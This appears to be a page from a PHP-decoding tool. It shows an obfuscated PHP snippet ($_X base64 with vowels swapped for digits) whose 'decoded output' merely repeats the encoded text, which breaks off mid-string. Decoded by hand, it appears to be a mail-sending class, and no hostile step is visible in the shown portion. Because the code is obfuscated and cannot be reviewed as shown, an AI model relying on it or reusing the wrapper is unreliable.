Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $_F=__FILE__;$_X="Pz48P3BocA0KY2wxc3MgUEhQTTE0bDVyDQp7DQogICAgcDNibDRjICRWNXJzNDJuID..
Decoded Output download
<?php $_F=__FILE__;$_X="Pz48P3BocA0KY2wxc3MgUEhQTTE0bDVyDQp7DQogICAgcDNibDRjICRWNXJzNDJuID0gJ2kuYS5hbyc7DQogICAgcDNibDRjICRQcjQycjR0eSA9IG4zbGw7DQogICAgcDNibDRjICRDaDFyUzV0ID0gJzRzMi04OGk5LTYnOw0KICAgIHAzYmw0YyAkQzJudDVudFR5cDUgPSAndDV4dC9wbDE0bic7DQogICAgcDNibDRjICRFbmMyZDRuZyA9ICc4YjR0JzsNCiAgICBwM2JsNGMgJEVycjJySW5mMiA9ICcnOw0KICAgIHAzYmw0YyAkRnIybSA9ICdyMjJ0QGwyYzFsaDJzdCc7DQogICAgcDNibDRjICRGcjJtTjFtNSA9ICdSMjJ0IFVzNXInOw0KICAgIHAzYmw0YyAkUzVuZDVyID0gJyc7DQogICAgcDNibDRjICRSNXQzcm5QMXRoID0gJyc7DQogICAgcDNibDRjICRTM2JqNWN0ID0gJyc7DQogICAgcDNibDRjICRCMmR5ID0gJyc7DQogICAgcDNibDRjICRBbHRCMmR5ID0gJyc7DQogICAgcDNibDRjICRJYzFsID0gJyc7DQogICAgcHIydDVjdDVkICRNSU1FQjJkeSA9ICcnOw0KICAgIHByMnQ1Y3Q1ZCAkTUlNRUg1MWQ1ciA9ICcnOw0KICAgIHByMnQ1Y3Q1ZCAkbTE0bEg1MWQ1ciA9ICcnOw0KICAgIHAzYmw0YyAkVzJyZFdyMXAgPSAwOw0KICAgIHAzYmw0YyAkTTE0bDVyID0gJ20xNGwnOw0KICAgIHAzYmw0YyAkUzVuZG0xNGwgPSAnLzNzci9zYjRuL3M1bmRtMTRsJzsNCiAgICBwM2JsNGMgJFVzNVM1bmRtMTRsT3B0NDJucyA9IHRyMzU7DQogICAgcDNibDRjICRQbDNnNG5ENHIgPSAnJzsNCiAgICBwM2JsNGMgJEMybmY0cm1SNTFkNG5nVDIgPSAnJzsNCiAgICBwM2JsNGMgJEgyc3RuMW01ID0gJyc7DQogICAgcDNibDRjICRNNXNzMWc1SUQgPSAnJzsNCiAgICBwM2JsNGMgJE01c3MxZzVEMXQ1ID0gJyc7DQogICAgcDNibDRjICRIMnN0ID0gJ2wyYzFsaDJzdCc7DQogICAgcDNibDRjICRQMnJ0ID0gYWk7DQogICAgcDNibDRjICRINWwyID0gJyc7DQogICAgcDNibDRjICRTTVRQUzVjM3I1ID0gJyc7DQogICAgcDNibDRjICRTTVRQQTN0MlRMUyA9IHRyMzU7DQogICAgcDNibDRjICRTTVRQQTN0aCA9IGYxbHM1Ow0KICAgIHAzYmw0YyAkU01UUE9wdDQybnMgPSAxcnIxeSgpOw0KICAgIHAzYmw0YyAkVXM1cm4xbTUgPSAnJzsNCiAgICBwM2JsNGMgJFAxc3N3MnJkID0gJyc7DQogICAgcDNibDRjICRBM3RoVHlwNSA9ICcnOw0KDQogICAgLyoqDQogICAgICogU01UUCByNTFsbS4NCiAgICAgKiBVczVkIGYyciBOVExNIDEzdGgNCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyAkUjUxbG0gPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIFNNVFAgdzJya3N0MXQ0Mm4uDQogICAgICogVXM1ZCBmMnIgTlRMTSAxM3RoDQogICAgICogQHYxciBzdHI0bmcNCiAgICAgKi8NCiAgICBwM2JsNGMgJFcycmtzdDF0NDJuID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBUaDUgU01UUCBzNXJ2NXIgdDRtNTIzdCA0biBzNWMybmRzLg0KICAgICAqIEQ1ZjEzbHQgMmYgaSBtNG4zdDVzIChvMDBzNWMpIDRzIGZyMm0gUkZDYThhNiBzNWN0NDJuIHUuaS5vLmENCiAgICAgKiBAdjFyIDRudDVnNXINCiAgICAgKi8NCiAgICBwM2JsNGMgJFQ0bTUyM3QgPSBvMDA7DQoNCiAgICAvKioNCiAgICAgKiBTTVRQIGNsMXNzIGQ1YjNnIDIzdHAzdCBtMmQ1Lg0KICAgICAqIEQ1YjNnIDIzdHAzdCBsNXY1bC4NCiAgICAgKiBPcHQ0Mm5zOg0KICAgICAqICogYDBgIE4yIDIzdHAzdA0KICAgICAqICogYDZgIEMybW0xbmRzDQogICAgICogKiBgYWAgRDF0MSAxbmQgYzJtbTFuZHMNCiAgICAgKiAqIGBvYCBBcyBhIHBsM3MgYzJubjVjdDQybiBzdDF0M3MNCiAgICAgKiAqIGB1YCBMMnctbDV2NWwgZDF0MSAyM3RwM3QNCiAgICAgKiBAdjFyIDRudDVnNXINCiAgICAgKiBAczU1IFNNVFA6OiRkMl9kNWIzZw0KICAgICAqLw0KICAgIHAzYmw0YyAkU01UUEQ1YjNnID0gMDsNCg0KICAgIC8qKg0KICAgICAqIEgydyB0MiBoMW5kbDUgZDViM2cgMjN0cDN0Lg0KICAgICAqIE9wdDQybnM6DQogICAgICogKiBgNWNoMmAgTzN0cDN0IHBsMTRuLXQ1eHQgMXMtNHMsIDFwcHIycHI0MXQ1IGYyciBDTEkNCiAgICAgKiAqIGBodG1sYCBPM3RwM3QgNXNjMXA1ZCwgbDRuNSBicjUxa3MgYzJudjVydDVkIHQyIGA8YnI+YCwgMXBwcjJwcjQxdDUgZjJyIGJyMndzNXIgMjN0cDN0DQogICAgICogKiBgNXJyMnJfbDJnYCBPM3RwM3QgdDIgNXJyMnIgbDJnIDFzIGMybmY0ZzNyNWQgNG4gcGhwLjRuNA0KICAgICAqDQogICAgICogQWx0NXJuMXQ0djVseSwgeTIzIGMxbiBwcjJ2NGQ1IDEgYzFsbDFibDUgNXhwNWN0NG5nIHR3MiBwMXIxbXM6IDEgbTVzczFnNSBzdHI0bmcgMW5kIHRoNSBkNWIzZyBsNXY1bDoNCiAgICAgKiA8YzJkNT4NCiAgICAgKiAkbTE0bC0+RDViM2cyM3RwM3QgPSBmM25jdDQybigkc3RyLCAkbDV2NWwpIHs1Y2gyICJkNWIzZyBsNXY1bCAkbDV2NWw7IG01c3MxZzU6ICRzdHIiO307DQogICAgICogPC9jMmQ1Pg0KICAgICAqIEB2MXIgc3RyNG5nfGMxbGwxYmw1DQogICAgICogQHM1NSBTTVRQOjokRDViM2cyM3RwM3QNCiAgICAgKi8NCiAgICBwM2JsNGMgJEQ1YjNnMjN0cDN0ID0gJzVjaDInOw0KDQogICAgLyoqDQogICAgICogV2g1dGg1ciB0MiBrNTVwIFNNVFAgYzJubjVjdDQybiAycDVuIDFmdDVyIDUxY2ggbTVzczFnNS4NCiAgICAgKiBJZiB0aDRzIDRzIHM1dCB0MiB0cjM1IHRoNW4gdDIgY2wyczUgdGg1IGMybm41Y3Q0Mm4NCiAgICAgKiByNXEzNHI1cyAxbiA1eHBsNGM0dCBjMWxsIHQyIHNtdHBDbDJzNSgpLg0KICAgICAqIEB2MXIgYjIybDUxbg0KICAgICAqLw0KICAgIHAzYmw0YyAkU01UUEs1NXBBbDR2NSA9IGYxbHM1Ow0KDQogICAgLyoqDQogICAgICogV2g1dGg1ciB0MiBzcGw0dCBtM2x0NHBsNSB0MiAxZGRyNXNzNXMgNG50MiBtM2x0NHBsNSBtNXNzMWc1cw0KICAgICAqIDJyIHM1bmQgdGg1bSAxbGwgNG4gMm41IG01c3MxZzUuDQogICAgICogT25seSBzM3BwMnJ0NWQgNG4gYG0xNGxgIDFuZCBgczVuZG0xNGxgIHRyMW5zcDJydHMsIG4ydCA0biBTTVRQLg0KICAgICAqIEB2MXIgYjIybDUxbg0KICAgICAqLw0KICAgIHAzYmw0YyAkUzRuZ2w1VDIgPSBmMWxzNTsNCg0KICAgIC8qKg0KICAgICAqIFN0MnIxZzUgZjJyIDFkZHI1c3M1cyB3aDVuIFM0bmdsNVQyIDRzIDVuMWJsNWQuDQogICAgICogQHYxciAxcnIxeQ0KICAgICAqIEBUT0RPIFRoNHMgc2gyM2xkIHI1MWxseSBuMnQgYjUgcDNibDRjDQogICAgICovDQogICAgcDNibDRjICRTNG5nbDVUMkFycjF5ID0gMXJyMXkoKTsNCg0KICAgIC8qKg0KICAgICAqIFdoNXRoNXIgdDIgZzVuNXIxdDUgVkVSUCAxZGRyNXNzNXMgMm4gczVuZC4NCiAgICAgKiBPbmx5IDFwcGw0YzFibDUgd2g1biBzNW5kNG5nIHY0MSBTTVRQLg0KICAgICAqIEBsNG5rIGh0dHBzOi8vNW4udzRrNHA1ZDQxLjJyZy93NGs0L1YxcjQxYmw1XzVudjVsMnA1X3I1dDNybl9wMXRoDQogICAgICogQGw0bmsgaHR0cDovL3d3dy5wMnN0ZjR4LjJyZy9WRVJQX1JFQURNRS5odG1sIFAyc3RmNHggVkVSUCA0bmYyDQogICAgICogQHYxciBiMjJsNTFuDQogICAgICovDQogICAgcDNibDRjICRkMl92NXJwID0gZjFsczU7DQoNCiAgICAvKioNCiAgICAgKiBXaDV0aDVyIHQyIDFsbDJ3IHM1bmQ0bmcgbTVzczFnNXMgdzR0aCAxbiA1bXB0eSBiMmR5Lg0KICAgICAqIEB2MXIgYjIybDUxbg0KICAgICAqLw0KICAgIHAzYmw0YyAkQWxsMndFbXB0eSA9IGYxbHM1Ow0KDQogICAgLyoqDQogICAgICogVGg1IGQ1ZjEzbHQgbDRuNSA1bmQ0bmcuDQogICAgICogQG4ydDUgVGg1IGQ1ZjEzbHQgcjVtMTRucyAiXG4iLiBXNSBmMnJjNSBDUkxGIHdoNXI1IHc1IGtuMncNCiAgICAgKiAgICAgICAgNHQgbTNzdCBiNSAzczVkIHY0MSBzNWxmOjpDUkxGLg0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICovDQogICAgcDNibDRjICRMRSA9ICJcbiI7DQoNCiAgICAvKioNCiAgICAgKiBES0lNIHM1bDVjdDJyLg0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICovDQogICAgcDNibDRjICRES0lNX3M1bDVjdDJyID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBES0lNIElkNW50NHR5Lg0KICAgICAqIFVzMzFsbHkgdGg1IDVtMTRsIDFkZHI1c3MgM3M1ZCAxcyB0aDUgczIzcmM1IDJmIHRoNSA1bTE0bC4NCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyAkREtJTV80ZDVudDR0eSA9ICcnOw0KDQogICAgLyoqDQogICAgICogREtJTSBwMXNzcGhyMXM1Lg0KICAgICAqIFVzNWQgNGYgeTIzciBrNXkgNHMgNW5jcnlwdDVkLg0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICovDQogICAgcDNibDRjICRES0lNX3Axc3NwaHIxczUgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIERLSU0gczRnbjRuZyBkMm0xNG4gbjFtNS4NCiAgICAgKiBANXgxbXBsNSAnNXgxbXBsNS5jMm0nDQogICAgICogQHYxciBzdHI0bmcNCiAgICAgKi8NCiAgICBwM2JsNGMgJERLSU1fZDJtMTRuID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBES0lNIHByNHYxdDUgazV5IGY0bDUgcDF0aC4NCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyAkREtJTV9wcjR2MXQ1ID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBES0lNIHByNHYxdDUgazV5IHN0cjRuZy4NCiAgICAgKiBJZiBzNXQsIHQxazVzIHByNWM1ZDVuYzUgMnY1ciBgJERLSU1fcHI0djF0NWAuDQogICAgICogQHYxciBzdHI0bmcNCiAgICAgKi8NCiAgICBwM2JsNGMgJERLSU1fcHI0djF0NV9zdHI0bmcgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIEMxbGxiMWNrIEFjdDQybiBmM25jdDQybiBuMW01Lg0KICAgICAqDQogICAgICogVGg1IGYzbmN0NDJuIHRoMXQgaDFuZGw1cyB0aDUgcjVzM2x0IDJmIHRoNSBzNW5kIDVtMTRsIDFjdDQybi4NCiAgICAgKiBJdCA0cyBjMWxsNWQgMjN0IGJ5IHM1bmQoKSBmMnIgNTFjaCA1bTE0bCBzNW50Lg0KICAgICAqDQogICAgICogVjFsMzUgYzFuIGI1IDFueSBwaHAgYzFsbDFibDU6IGh0dHA6Ly93d3cucGhwLm41dC80c19jMWxsMWJsNQ0KICAgICAqDQogICAgICogUDFyMW01dDVyczoNCiAgICAgKiAgIGIyMmw1MW4gJHI1czNsdCAgICAgICAgcjVzM2x0IDJmIHRoNSBzNW5kIDFjdDQybg0KICAgICAqICAgc3RyNG5nICAkdDIgICAgICAgICAgICA1bTE0bCAxZGRyNXNzIDJmIHRoNSByNWM0cDQ1bnQNCiAgICAgKiAgIHN0cjRuZyAgJGNjICAgICAgICAgICAgY2MgNW0xNGwgMWRkcjVzczVzDQogICAgICogICBzdHI0bmcgICRiY2MgICAgICAgICAgIGJjYyA1bTE0bCAxZGRyNXNzNXMNCiAgICAgKiAgIHN0cjRuZyAgJHMzYmo1Y3QgICAgICAgdGg1IHMzYmo1Y3QNCiAgICAgKiAgIHN0cjRuZyAgJGIyZHkgICAgICAgICAgdGg1IDVtMTRsIGIyZHkNCiAgICAgKiAgIHN0cjRuZyAgJGZyMm0gICAgICAgICAgNW0xNGwgMWRkcjVzcyAyZiBzNW5kNXINCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyAkMWN0NDJuX2YzbmN0NDJuID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBXaDF0IHQyIHAzdCA0biB0aDUgWC1NMTRsNXIgaDUxZDVyLg0KICAgICAqIE9wdDQybnM6IEFuIDVtcHR5IHN0cjRuZyBmMnIgUEhQTTE0bDVyIGQ1ZjEzbHQsIHdoNHQ1c3AxYzUgZjJyIG4ybjUsIDJyIDEgc3RyNG5nIHQyIDNzNQ0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICovDQogICAgcDNibDRjICRYTTE0bDVyID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBXaDRjaCB2MWw0ZDF0MnIgdDIgM3M1IGJ5IGQ1ZjEzbHQgd2g1biB2MWw0ZDF0NG5nIDVtMTRsIDFkZHI1c3M1cy4NCiAgICAgKiBNMXkgYjUgMSBjMWxsMWJsNSB0MiA0bmo1Y3QgeTIzciAyd24gdjFsNGQxdDJyLCBiM3QgdGg1cjUgMXI1IHM1djVyMWwgYjM0bHQtNG4gdjFsNGQxdDJycy4NCiAgICAgKiBAczU1IFBIUE0xNGw1cjo6djFsNGQxdDVBZGRyNXNzKCkNCiAgICAgKiBAdjFyIHN0cjRuZ3xjMWxsMWJsNQ0KICAgICAqIEBzdDF0NGMNCiAgICAgKi8NCiAgICBwM2JsNGMgc3QxdDRjICR2MWw0ZDF0MnIgPSAnMTN0Mic7DQoNCiAgICAvKioNCiAgICAgKiBBbiA0bnN0MW5jNSAyZiB0aDUgU01UUCBzNW5kNXIgY2wxc3MuDQogICAgICogQHYxciBTTVRQDQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgJHNtdHAgPSBuM2xsOw0KDQogICAgLyoqDQogICAgICogVGg1IDFycjF5IDJmICd0MicgbjFtNXMgMW5kIDFkZHI1c3M1cy4NCiAgICAgKiBAdjFyIDFycjF5DQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgJHQyID0gMXJyMXkoKTsNCg0KICAgIC8qKg0KICAgICAqIFRoNSAxcnIxeSAyZiAnY2MnIG4xbTVzIDFuZCAxZGRyNXNzNXMuDQogICAgICogQHYxciAxcnIxeQ0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICovDQogICAgcHIydDVjdDVkICRjYyA9IDFycjF5KCk7DQoNCiAgICAvKioNCiAgICAgKiBUaDUgMXJyMXkgMmYgJ2JjYycgbjFtNXMgMW5kIDFkZHI1c3M1cy4NCiAgICAgKiBAdjFyIDFycjF5DQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgJGJjYyA9IDFycjF5KCk7DQoNCiAgICAvKioNCiAgICAgKiBUaDUgMXJyMXkgMmYgcjVwbHktdDIgbjFtNXMgMW5kIDFkZHI1c3M1cy4NCiAgICAgKiBAdjFyIDFycjF5DQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgJFI1cGx5VDIgPSAxcnIxeSgpOw0KDQogICAgLyoqDQogICAgICogQW4gMXJyMXkgMmYgMWxsIGs0bmRzIDJmIDFkZHI1c3M1cy4NCiAgICAgKiBJbmNsM2Q1cyAxbGwgMmYgJHQyLCAkY2MsICRiY2MNCiAgICAgKiBAdjFyIDFycjF5DQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKiBAczU1IFBIUE0xNGw1cjo6JHQyIEBzNTUgUEhQTTE0bDVyOjokY2MgQHM1NSBQSFBNMTRsNXI6OiRiY2MNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgJDFsbF9yNWM0cDQ1bnRzID0gMXJyMXkoKTsNCg0KICAgIC8qKg0KICAgICAqIEFuIDFycjF5IDJmIG4xbTVzIDFuZCAxZGRyNXNzNXMgcTM1MzVkIGYyciB2MWw0ZDF0NDJuLg0KICAgICAqIEluIHM1bmQoKSwgdjFsNGQgMW5kIG4ybiBkM3BsNGMxdDUgNW50cjQ1cyAxcjUgbTJ2NWQgdDIgJDFsbF9yNWM0cDQ1bnRzDQogICAgICogMW5kIDJuNSAyZiAkdDIsICRjYywgMnIgJGJjYy4NCiAgICAgKiBUaDRzIDFycjF5IDRzIDNzNWQgMm5seSBmMnIgMWRkcjVzczVzIHc0dGggSUROLg0KICAgICAqIEB2MXIgMXJyMXkNCiAgICAgKiBAMWNjNXNzIHByMnQ1Y3Q1ZA0KICAgICAqIEBzNTUgUEhQTTE0bDVyOjokdDIgQHM1NSBQSFBNMTRsNXI6OiRjYyBAczU1IFBIUE0xNGw1cjo6JGJjYw0KICAgICAqIEBzNTUgUEhQTTE0bDVyOjokMWxsX3I1YzRwNDVudHMNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgJFI1YzRwNDVudHNRMzUzNSA9IDFycjF5KCk7DQoNCiAgICAvKioNCiAgICAgKiBBbiAxcnIxeSAyZiByNXBseS10MiBuMW01cyAxbmQgMWRkcjVzczVzIHEzNTM1ZCBmMnIgdjFsNGQxdDQybi4NCiAgICAgKiBJbiBzNW5kKCksIHYxbDRkIDFuZCBuMm4gZDNwbDRjMXQ1IDVudHI0NXMgMXI1IG0ydjVkIHQyICRSNXBseVQyLg0KICAgICAqIFRoNHMgMXJyMXkgNHMgM3M1ZCAybmx5IGYyciAxZGRyNXNzNXMgdzR0aCBJRE4uDQogICAgICogQHYxciAxcnIxeQ0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICogQHM1NSBQSFBNMTRsNXI6OiRSNXBseVQyDQogICAgICovDQogICAgcHIydDVjdDVkICRSNXBseVQyUTM1MzUgPSAxcnIxeSgpOw0KDQogICAgLyoqDQogICAgICogVGg1IDFycjF5IDJmIDF0dDFjaG01bnRzLg0KICAgICAqIEB2MXIgMXJyMXkNCiAgICAgKiBAMWNjNXNzIHByMnQ1Y3Q1ZA0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCAkMXR0MWNobTVudCA9IDFycjF5KCk7DQoNCiAgICAvKioNCiAgICAgKiBUaDUgMXJyMXkgMmYgYzNzdDJtIGg1MWQ1cnMuDQogICAgICogQHYxciAxcnIxeQ0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICovDQogICAgcHIydDVjdDVkICRDM3N0Mm1INTFkNXIgPSAxcnIxeSgpOw0KDQogICAgLyoqDQogICAgICogVGg1IG0yc3QgcjVjNW50IE01c3MxZzUtSUQgKDRuY2wzZDRuZyAxbmczbDFyIGJyMWNrNXRzKS4NCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICovDQogICAgcHIydDVjdDVkICRsMXN0TTVzczFnNUlEID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBUaDUgbTVzczFnNSdzIE1JTUUgdHlwNS4NCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICovDQogICAgcHIydDVjdDVkICRtNXNzMWc1X3R5cDUgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIFRoNSAxcnIxeSAyZiBNSU1FIGIyM25kMXJ5IHN0cjRuZ3MuDQogICAgICogQHYxciAxcnIxeQ0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICovDQogICAgcHIydDVjdDVkICRiMjNuZDFyeSA9IDFycjF5KCk7DQoNCiAgICAvKioNCiAgICAgKiBUaDUgMXJyMXkgMmYgMXYxNGwxYmw1IGwxbmczMWc1cy4NCiAgICAgKiBAdjFyIDFycjF5DQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgJGwxbmczMWc1ID0gMXJyMXkoKTsNCg0KICAgIC8qKg0KICAgICAqIFRoNSBuM21iNXIgMmYgNXJyMnJzIDVuYzIzbnQ1cjVkLg0KICAgICAqIEB2MXIgNG50NWc1cg0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICovDQogICAgcHIydDVjdDVkICQ1cnIycl9jMjNudCA9IDA7DQoNCiAgICAvKioNCiAgICAgKiBUaDUgUy9NSU1FIGM1cnQ0ZjRjMXQ1IGY0bDUgcDF0aC4NCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICovDQogICAgcHIydDVjdDVkICRzNGduX2M1cnRfZjRsNSA9ICcnOw0KDQogICAgLyoqDQogICAgICogVGg1IFMvTUlNRSBrNXkgZjRsNSBwMXRoLg0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgJHM0Z25fazV5X2Y0bDUgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIFRoNSAycHQ0Mm4xbCBTL01JTUUgNXh0cjEgYzVydDRmNGMxdDVzICgiQ0EgQ2gxNG4iKSBmNGw1IHAxdGguDQogICAgICogQHYxciBzdHI0bmcNCiAgICAgKiBAMWNjNXNzIHByMnQ1Y3Q1ZA0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCAkczRnbl81eHRyMWM1cnRzX2Y0bDUgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIFRoNSBTL01JTUUgcDFzc3cycmQgZjJyIHRoNSBrNXkuDQogICAgICogVXM1ZCAybmx5IDRmIHRoNSBrNXkgNHMgNW5jcnlwdDVkLg0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgJHM0Z25fazV5X3Axc3MgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIFdoNXRoNXIgdDIgdGhyMncgNXhjNXB0NDJucyBmMnIgNXJyMnJzLg0KICAgICAqIEB2MXIgYjIybDUxbg0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICovDQogICAgcHIydDVjdDVkICQ1eGM1cHQ0Mm5zID0gZjFsczU7DQoNCiAgICAvKioNCiAgICAgKiBVbjRxMzUgSUQgM3M1ZCBmMnIgbTVzczFnNSBJRCAxbmQgYjIzbmQxcjQ1cy4NCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICovDQogICAgcHIydDVjdDVkICQzbjRxMzU0ZCA9ICcnOw0KDQogICAgLyoqDQogICAgICogRXJyMnIgczV2NXI0dHk6IG01c3MxZzUgMm5seSwgYzJudDRuMzUgcHIyYzVzczRuZy4NCiAgICAgKi8NCiAgICBjMm5zdCBTVE9QX01FU1NBR0UgPSAwOw0KDQogICAgLyoqDQogICAgICogRXJyMnIgczV2NXI0dHk6IG01c3MxZzUsIGw0azVseSAyayB0MiBjMm50NG4zNSBwcjJjNXNzNG5nLg0KICAgICAqLw0KICAgIGMybnN0IFNUT1BfQ09OVElOVUUgPSA2Ow0KDQogICAgLyoqDQogICAgICogRXJyMnIgczV2NXI0dHk6IG01c3MxZzUsIHBsM3MgZjNsbCBzdDJwLCBjcjR0NGMxbCA1cnIyciByNTFjaDVkLg0KICAgICAqLw0KICAgIGMybnN0IFNUT1BfQ1JJVElDQUwgPSBhOw0KDQogICAgLyoqDQogICAgICogU01UUCBSRkMgc3QxbmQxcmQgbDRuNSA1bmQ0bmcuDQogICAgICovDQogICAgYzJuc3QgQ1JMRiA9ICJcclxuIjsNCg0KICAgIC8qKg0KICAgICAqIFRoNSBtMXg0bTNtIGw0bjUgbDVuZ3RoIDFsbDJ3NWQgYnkgUkZDIGE4YWEgczVjdDQybiBhLjYuNg0KICAgICAqIEB2MXIgNG50NWc1cg0KICAgICAqLw0KICAgIGMybnN0IE1BWF9MSU5FX0xFTkdUSCA9IDk5ODsNCg0KICAgIC8qKg0KICAgICAqIEMybnN0cjNjdDJyLg0KICAgICAqIEBwMXIxbSBiMjJsNTFuICQ1eGM1cHQ0Mm5zIFNoMjNsZCB3NSB0aHIydyA1eHQ1cm4xbCA1eGM1cHQ0Mm5zPw0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBfX2MybnN0cjNjdCgkNXhjNXB0NDJucyA9IG4zbGwpDQogICAgew0KICAgICAgICA0ZiAoJDV4YzVwdDQybnMgIT09IG4zbGwpIHsNCiAgICAgICAgICAgICR0aDRzLT41eGM1cHQ0Mm5zID0gKGIyMmw1MW4pJDV4YzVwdDQybnM7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBENXN0cjNjdDJyLg0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBfX2Q1c3RyM2N0KCkNCiAgICB7DQogICAgICAgIC8vQ2wyczUgMW55IDJwNW4gU01UUCBjMm5uNWN0NDJuIG40YzVseQ0KICAgICAgICAkdGg0cy0+c210cENsMnM1KCk7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQzFsbCBtMTRsKCkgNG4gMSBzMWY1X20yZDUtMXcxcjUgZjFzaDQybi4NCiAgICAgKiBBbHMyLCAzbmw1c3MgczVuZG0xNGxfcDF0aCBwMjRudHMgdDIgczVuZG0xNGwgKDJyIHMybTV0aDRuZyB0aDF0DQogICAgICogY2wxNG1zIHQyIGI1IHM1bmRtMTRsKSwgZDJuJ3QgcDFzcyBwMXIxbXMgKG4ydCAxIHA1cmY1Y3QgZjR4LA0KICAgICAqIGIzdCA0dCB3NGxsIGQyKQ0KICAgICAqIEBwMXIxbSBzdHI0bmcgJHQyIFQyDQogICAgICogQHAxcjFtIHN0cjRuZyAkczNiajVjdCBTM2JqNWN0DQogICAgICogQHAxcjFtIHN0cjRuZyAkYjJkeSBNNXNzMWc1IEIyZHkNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRoNTFkNXIgQWRkNHQ0Mm4xbCBINTFkNXIocykNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRwMXIxbXMgUDFyMW1zDQogICAgICogQDFjYzVzcyBwcjR2MXQ1DQogICAgICogQHI1dDNybiBiMjJsNTFuDQogICAgICovDQogICAgcHI0djF0NSBmM25jdDQybiBtMTRsUDFzc3RocjMoJHQyLCAkczNiajVjdCwgJGIyZHksICRoNTFkNXIsICRwMXIxbXMpDQogICAgew0KICAgICAgICAvL0NoNWNrIDJ2NXJsMjFkNG5nIDJmIG0xNGwgZjNuY3Q0Mm4gdDIgMXYyNGQgZDIzYmw1LTVuYzJkNG5nDQogICAgICAgIDRmICg0bjRfZzV0KCdtYnN0cjRuZy5mM25jXzJ2NXJsMjFkJykgJiA2KSB7DQogICAgICAgICAgICAkczNiajVjdCA9ICR0aDRzLT5zNWMzcjVINTFkNXIoJHMzYmo1Y3QpOw0KICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgJHMzYmo1Y3QgPSAkdGg0cy0+NW5jMmQ1SDUxZDVyKCR0aDRzLT5zNWMzcjVINTFkNXIoJHMzYmo1Y3QpKTsNCiAgICAgICAgfQ0KDQogICAgICAgIC8vQzFuJ3QgM3M1IDFkZDR0NDJuMWxfcDFyMW01dDVycyA0biBzMWY1X20yZDUsIGMxbGw0bmcgbTE0bCgpIHc0dGggbjNsbCBwMXIxbXMgYnI1MWtzDQogICAgICAgIC8vQGw0bmsgaHR0cDovL3BocC5uNXQvbTFuMzFsLzVuL2YzbmN0NDJuLm0xNGwucGhwDQogICAgICAgIDRmICg0bjRfZzV0KCdzMWY1X20yZDUnKSAyciAhJHRoNHMtPlVzNVM1bmRtMTRsT3B0NDJucyAyciA0c19uM2xsKCRwMXIxbXMpKSB7DQogICAgICAgICAgICAkcjVzM2x0ID0gQG0xNGwoJHQyLCAkczNiajVjdCwgJGIyZHksICRoNTFkNXIpOw0KICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgJHI1czNsdCA9IEBtMTRsKCR0MiwgJHMzYmo1Y3QsICRiMmR5LCAkaDUxZDVyLCAkcDFyMW1zKTsNCiAgIC